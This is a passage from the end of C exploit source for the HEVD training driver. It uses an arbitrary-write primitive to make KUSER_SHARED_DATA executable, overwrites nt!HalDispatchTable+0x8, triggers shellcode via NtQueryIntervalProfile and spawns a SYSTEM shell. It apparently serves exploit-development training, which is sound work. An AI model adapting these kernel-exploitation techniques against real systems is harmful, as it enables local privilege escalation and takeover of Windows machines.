&bytesreturnedreadPrimtitve, 701 | NULL 702 | ); 703 | 704 | // Print update 705 | printf("[+] Successfully corrupted the PTE of KUSER_SHARED_DATA+0x800! This region should now be marked as RWX!\n"); 706 | 707 | // Leverage the arbitrary write primitive to overwrite nt!HalDispatchTable+0x8 708 | 709 | // Reset kusersharedData 710 | kusersharedData = 0xfffff78000000800; 711 | 712 | // Setting the Name member of the corrupted object to specify where we would like to write 713 | helperobjectArray[index].Name = &halTemp; 714 | 715 | // Specify where we would like to write (the address of KUSER_SHARED_DATA+0x800) 716 | mainObject.Name = &kusersharedData; 717 | 718 | // Set the Name member of the "corrupted" object managed by the global array to nt!HalDispatchTable+0x8 719 | DeviceIoControl( 720 | driverHandle, 721 | 0x00222067, 722 | &helperobjectArray[index], 723 | sizeof(helperobjectArray[index]), 724 | NULL, 725 | NULL, 726 | &bytesreturnedreadPrimtitve, 727 | NULL 728 | ); 729 | 730 | // Perform the arbitrary write 731 | DeviceIoControl( 732 | driverHandle, 733 | 0x00222067, 734 | &mainObject, 735 | sizeof(mainObject), 736 | NULL, 737 | NULL, 738 | &bytesreturnedreadPrimtitve, 739 | NULL 740 | ); 741 | 742 | // Print update 743 | printf("[+] Successfully corrupted [nt!HalDispatchTable+0x8]!\n"); 744 | 745 | // Locating nt!NtQueryIntervalProfile 746 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress( 747 | GetModuleHandle( 748 | TEXT("ntdll.dll")), 749 | "NtQueryIntervalProfile" 750 | ); 751 | 752 | // Error handling 753 | if (!NtQueryIntervalProfile) 754 | { 755 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError()); 756 | exit(1); 757 | } 758 | 759 | // Print update for found ntdll!NtQueryIntervalProfile 760 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile); 761 | 762 | // Calling nt!NtQueryIntervalProfile 763 | ULONG exploit = 0; 764 | NtQueryIntervalProfile( 765 | 0x1234, 766 | &exploit 767 | ); 768 | 769 | // Print update 770 | printf("[+] Successfully executed the shellcode!\n"); 771 | 772 | // Leverage arbitrary write for restoration purposes 773 | 774 | // Setting the Name member of the corrupted object to specify where we would like to write 775 | helperobjectArray[index].Name = &halTemp; 776 | 777 | // Specify where we would like to write (the address of the preserved value at [nt!HalDispatchTable+0x8]) 778 | mainObject.Name = &halDispatch; 779 | 780 | // Set the Name member of the "corrupted" object managed by the global array to nt!HalDispatchTable+0x8 781 | DeviceIoControl( 782 | driverHandle, 783 | 0x00222067, 784 | &helperobjectArray[index], 785 | sizeof(helperobjectArray[index]), 786 | NULL, 787 | NULL, 788 | &bytesreturnedreadPrimtitve, 789 | NULL 790 | ); 791 | 792 | // Perform the arbitrary write 793 | DeviceIoControl( 794 | driverHandle, 795 | 0x00222067, 796 | &mainObject, 797 | sizeof(mainObject), 798 | NULL, 799 | NULL, 800 | &bytesreturnedreadPrimtitve, 801 | NULL 802 | ); 803 | 804 | // Print update 805 | printf("[+] Successfully restored [nt!HalDispatchTable+0x8]!\n"); 806 | 807 | // Print update for NT AUTHORITY\SYSTEM shell 808 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 809 | 810 | // Spawning an NT AUTHORITY\SYSTEM shell 811 | system("cmd.exe /c cmd.exe /K cd C:\\"); 812 | } 813 | 814 | void main(void) 815 | { 816 | // Open a handle to the driver 817 | printf("[+] Obtaining handle to HEVD.sys...\n"); 818 | 819 | HANDLE drvHandle = CreateFileA( 820 | "\\\\.\\HackSysExtremeVulnerableDriver", 821 | GENERIC_READ | GENERIC_WRITE, 822 | 0x0, 823 | NULL, 824 | OPEN_EXISTING, 825 | 0x0, 826 | NULL 827 | ); 828 | 829 | // Error handling 830 | if (drvHandle == (HANDLE)-1) 831 | { 832 | printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError()); 833 | exit(-1); 834 | } 835 | else 836 | { 837 | readwritePrimitive(drvHandle); 838 | } 839 | } 840 | --------------------------------------------------------------------------------